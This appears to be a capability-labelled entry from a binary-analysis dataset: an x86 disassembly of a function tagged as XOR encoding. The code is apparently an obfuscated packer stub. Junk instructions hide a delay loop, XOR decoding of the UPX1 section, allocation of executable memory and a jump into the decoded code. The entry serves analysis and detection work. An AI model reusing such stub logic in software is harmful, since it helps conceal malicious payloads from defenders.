Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xed250f33
mov eax, 0xcb7f1616
sub eax, ecx
and eax, ecx
popal
not ecx
mov eax, 0xf355ad3d
dec eax
mov ebx, 0
mov eax, edx
mov ecx, 0xa29fc948
mov esi, 0x5ef79a64
mov edi, eax
sub esi, ecx
add ecx, 0xce73451b
inc esi
mov edx, edi
add esi, 0xd25bb607
add ecx, 0x88b09b9f
add ecx, 0x5b11e80f
inc ebx
inc esi
and esi, esi
cmp ebx, 0x100c950
jne 0x47b451
mov ecx, esi
dec esi
sub ecx, eax
sub ecx, 0x28fee6f0
mov ebx, 0x47b21e
or edi, eax
and eax, eax
mov esi, 0x47b412
mov edi, eax
mov edi, ecx
mov eax, 0x3375cf6c
mov edx, dword [ebx]
mov eax, 0x8b24da8e
mov edi, eax
and edx, 0xff
not eax
mov ecx, 0xa2d027e1
xor dword [esi], edx
and edi, ecx
add edi, 0xd7a5698f
add esi, 1
mov ecx, edi
mov edi, eax
add ebx, 1
or eax, ecx
and ecx, ecx
add edi, 0xdd933145
cmp esi, entry0
jl 0x47b4ae
sub eax, 0xe2f67090
mov ecx, 0x975e8d2
sub ecx, 0x7b268c0
mov edi, 0x17d208cc
and ecx, ecx
inc ecx
and ecx, esi
add ecx, ebx
mov edx, 0x47b416
mov ebx, 0x557c8d4c
sub ecx, edi
sub ebx, esi
mov edx, dword [edx]
mov edi, ebx
inc edi
mov edx, dword [edx]
and edi, ecx
sub ecx, 0x6d63f5e9
mov ebx, esi
sub esp, 4
mov dword [esp], edx
sub edi, ecx
not esi
add ebx, ebx
mov edx, 0x47b412
mov ebx, 0x2aedceb2
and edi, ebx
or ecx, ecx
mov edx, dword [edx]
sub esi, 0x3a47a803
not edi
mov edx, dword [edx]
add esi, 0x800a2f79
mov edi, ebx
add esi, esi
push 0x47b41a
sub edi, esi
mov ecx, 0x9108faa5
call edx
or ecx, ecx
and ecx, edi
pop edx
not ebx
dec ecx
push 0x47b427
sub ecx, 0x2b695a72
add ecx, 0x4ec5ec85
add ecx, 0xa47bdfb3
push eax
inc ebx
and ecx, ebx
sub ebx, 0xad904a88
call edx
or ebx, ecx
add edi, ecx
push 0x40
inc ecx
sub esi, ebx
push 0x3000
add ecx, edi
or esi, ecx
dec edi
push 0x20000d5c
add ebx, 0xe70073af
or edi, edi
push 0
add edi, edi
add ebx, 0xd6325fc6
call eax
not esi
and esi, ebx
dec edi
add eax, 0x20000c9e
dec edi
mov ecx, 0xbdc08085
not edi
mov edx, 0x353c66b1
inc esi
add edi, ecx
mov dword [eax], edx
mov ebx, edi
or ebx, ecx
mov edx, dword [eax]
or esi, ecx
add edi, edi
cmp edx, 0x353c66b1
je 0x47b601
mov ebx, 0
mov ecx, dword [ebx]
add esi, ebx
or ebx, ebx
or ecx, edi
add edi, ecx
mov ecx, eax
mov eax, 0x7405f49c
dec eax
mov ebx, section.UPX1
mov eax, 0xf969431c
add eax, 1
mov esi, 0x47b21d
sub ecx, 0xf83537df
dec ecx
mov edx, 0
inc ecx
not eax
mov edi, 0x47b21e
add ecx, 0x4ede7f9a
mov ecx, 0x7a344683
lea edi, [edi + edx]
dec eax
mov eax, ecx
mov edi, dword [edi]
mov ecx, 0x7fbcbb19
sub eax, ecx
not ecx
and edi, 0xff
add ecx, 0x8e69c544
mov ecx, eax
inc edx
sub eax, 0x7e0ab95e
add ecx, 0xce0f0200
mov eax, ecx
cmp edx, 0x1f4
jne 0x47b680
mov edx, 0
sub ecx, 0x2b02311b
sub ecx, eax
inc ecx
or eax, eax
mov ecx, eax
xor dword [ebx], edi
inc ecx
not eax
add ebx, 2
dec ecx
or ecx, ecx
cmp ebx, esi
jl 0x47b635
mov ecx, eax
dec ecx
not ecx
add ecx, eax
mov ecx, section.UPX1
sub eax, 0xd1cc2e3e
sub edx, 1
add edx, edx
mov esi, section.UPX1
add edx, eax
and eax, edx
mov edi, 0x47b21d
dec eax
sub edx, eax
add eax, 1
mov ebx, 0
sub edx, 1
sub eax, edx
mov bl, byte [esi]
mov edx, eax
or eax, edx
mov byte [ecx], bl
and eax, edx
or edx, edx
inc ecx
inc eax
mov eax, edx
or edx, edx
add esi, 2
mov edx, 0x12e3f10a
dec edx
cmp esi, edi
jle 0x47b6e1
not eax
add edx, eax
mov eax, 0x48e2db5d
mov ecx, 0xe6dd59c0
add eax, 0x490e613f
sub esp, 4
mov dword [esp], 0x45e6a0
add ecx, 1
and ecx, eax
mov ecx, 0x120b2947
ret